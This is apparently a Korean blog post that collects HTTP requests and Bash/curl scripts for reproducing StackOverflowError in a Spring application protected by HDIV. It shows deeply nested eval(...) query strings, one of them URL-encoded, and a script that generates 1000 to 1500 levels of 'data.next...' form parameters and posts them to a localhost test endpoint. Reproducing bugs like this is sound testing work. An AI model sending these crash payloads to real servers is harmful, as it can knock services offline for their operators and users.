### StackOverflowError 재현용 요청
GET http://localhost:8080/test?input=eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(1)))))))))))))))))))))) HTTP/1.1
### HDIV 정규식 StackOverflow 재현 요청
GET http://localhost:8080/test?input=%25%36%35%25%37%36%25%36%31%25%36%43%28%65%76%61%6C%28%31%29%29%28%65%76%61%6C%28%31%29%29%28%65%76%61%6C%28%31%29%29%28%65%76%61%6C%28%31%29%29%28%65%76%61%6C%28%31%29%29%28%65%76%61%6C%28%31%29%29 HTTP/1.1
# 대상 URL과 1000단계의 'next.next...'를 포함하는 데이터 문자열을 생성합니다.
TARGET_URL="http://localhost:8080/hdiv-test/recursive" # Spring Controller의 URL
DEPTH=1000
DATA_PREFIX="data"
DATA_STRING="${DATA_PREFIX}.name=RootValue"
for i in $(seq 1 $DEPTH); do
DATA_PREFIX="${DATA_PREFIX}.next"
DATA_STRING="${DATA_STRING}&${DATA_PREFIX}.name=Level${i}"
done
# 생성된 데이터를 포함하여 cURL 요청 실행
curl -X POST "$TARGET_URL" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "$DATA_STRING"
#!/bin/bash
# 테스트 설정
TARGET_URL="http://localhost:8080/hdiv-test/recursive" # Spring Controller의 URL
# StackOverflowError를 유발하기 위해 최소 1000 이상을 권장합니다.
DEPTH=1500
OUTPUT_FILE="hdiv_test_data.txt"
# 데이터 문자열 생성 로직
DATA_PREFIX="data"
DATA_STRING="${DATA_PREFIX}.name=RootValue"
for i in $(seq 1 $DEPTH); do
DATA_PREFIX="${DATA_PREFIX}.next"
# URL 인코딩된 파라미터를 위해 '&' 대신 개행 문자를 사용합니다. (나중에 cURL에서 처리)
# 실제로는 cURL의 --data 옵션이 파일 전체를 요청 본문으로 사용하므로,
# '&' 문자를 사용하여 파라미터를 연결하는 것이 가장 일반적입니다.
DATA_STRING="${DATA_STRING}&${DATA_PREFIX}.name=Level${i}"
done
# 생성된 문자열을 파일에 저장
echo "$DATA_STRING" > "$OUTPUT_FILE"
echo "✅ 테스트 데이터가 '$OUTPUT_FILE' 파일에 저장되었습니다. 파라미터 개수: $(($DEPTH + 1))"
echo "---"
# 2. cURL 명령어로 파일 내용 전송 (Git Bash)
# @ 기호를 사용하여 파일 내용을 POST 요청의 본문으로 전송합니다.
curl -X POST "$TARGET_URL" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "@$OUTPUT_FILE"
echo "---"
echo "테스트 요청이 완료되었습니다. 서버 로그를 확인하세요."
댓글 없음:
댓글 쓰기